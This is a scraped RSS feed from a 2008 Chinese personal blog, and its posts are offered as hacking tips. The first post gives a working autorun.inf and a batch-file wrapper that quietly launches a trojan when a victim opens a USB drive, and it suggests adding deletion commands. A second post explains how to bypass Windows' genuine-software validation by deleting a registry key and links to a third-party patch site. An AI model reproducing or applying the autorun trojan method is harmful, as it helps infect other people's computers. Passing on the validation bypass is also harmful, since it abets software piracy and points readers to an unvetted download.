http://392740265.qzone.qq.com Tue, 02 Dec 2008 12:04:18 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sun, 30 Nov 2008 12:33:39 GMT http://392740265.qzone.qq.com/blog/1226221663 这里有个方法 可以解决 不知道是否对大家有用
首先先写一个autorun.inf 里面这样写就行
[AUTORUN]
OPEN=1.exe
shell\open=打开
shell\open\Command=1.exe
shell\open\Default=1
意思比较清晰 就不解释了
这样放在根目录下 就无法双击打开盘符
我们可以编写一个批处理
内容如下
start d:
d:\ok.exe
比如说木马在D盘 名字是ok.exe
这样 运行这个P处理 就会先打开盘符然后再 运行ok.exe
批处理的后缀是bat 而且 运行的时候有窗口
咱们可以用 批处理潜行者这个小软件 转换一下 这样就会转换成exe的格式 例如转换后的批处理的名字是1.exe
这样 工作就基本完成了
将Autorun.inf 转换后的批处理（exe的） 还有木马（ok.exe） 同时复制到根目录 就可以了
批处理中也可加入一些删除命令
这就大家自己发挥了
总结
我们双击盘符后 自动运行的是 批处理文件 而批处理的作用是打开盘符 然后运行木马
这样就解决了双击无法打开盘符的问题]]> http://392740265.qzone.qq.com/blog/1226221663#comment 134218240 Sun, 09 Nov 2008 09:07:43 GMT http://392740265.qzone.qq.com/blog/1226221663 http://392740265.qzone.qq.com/blog/1224417231 微软的小伎俩，说白了windows也不过是如此而已。看本hacker做个破解。微软要玩就陪到底^_^
先看第一种方法（如果已经被弄的黑屏的时候用的方法）
开始-运行-输入REGEDIT回车，在左边栏中找到HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogonNotifyWgaLogon项，将整个WgaLogon项删除即可 其实大家都看明白了 Winlogon 这个项 就是windows登陆的时候 加载的一些必要的东西 Notefy下面包括了一些startup DLLname等关键的字符串，而微软就是利用在系统登陆的时候加载Wgalogon，而使我们黑屏的，所以删除就ok了。呵呵，超级简单了。这个键值其实可以通过对比 更新前后两次的注册表而得出，即使是菜鸟也能破解。
第二种方法
就是用一个补丁了，补丁，网上有很多，不过难免有假的，我的补丁是 黑客手册会员专用的 所以绝对放心了。打上补丁后，就ok了
补丁地址 hackerkilling.ys168.com

总结：首先关闭自动更新，如果要打微软的其他补丁，有一个解决方法就是用360安全卫士给系统打其他的补丁就行了，它不会给你打那些 使你黑屏的补丁，呵呵。完美的解决方案






]]> http://392740265.qzone.qq.com/blog/1224417231#comment 134218240 Sun, 19 Oct 2008 11:53:51 GMT http://392740265.qzone.qq.com/blog/1224417231 http://392740265.qzone.qq.com/blog/1222762762 ]]> http://392740265.qzone.qq.com/blog/1222762762#comment 4616 Tue, 30 Sep 2008 08:19:22 GMT http://392740265.qzone.qq.com/blog/1222762762 http://392740265.qzone.qq.com/blog/1222750653 ]]> http://392740265.qzone.qq.com/blog/1222750653#comment 4104 Tue, 30 Sep 2008 04:57:33 GMT http://392740265.qzone.qq.com/blog/1222750653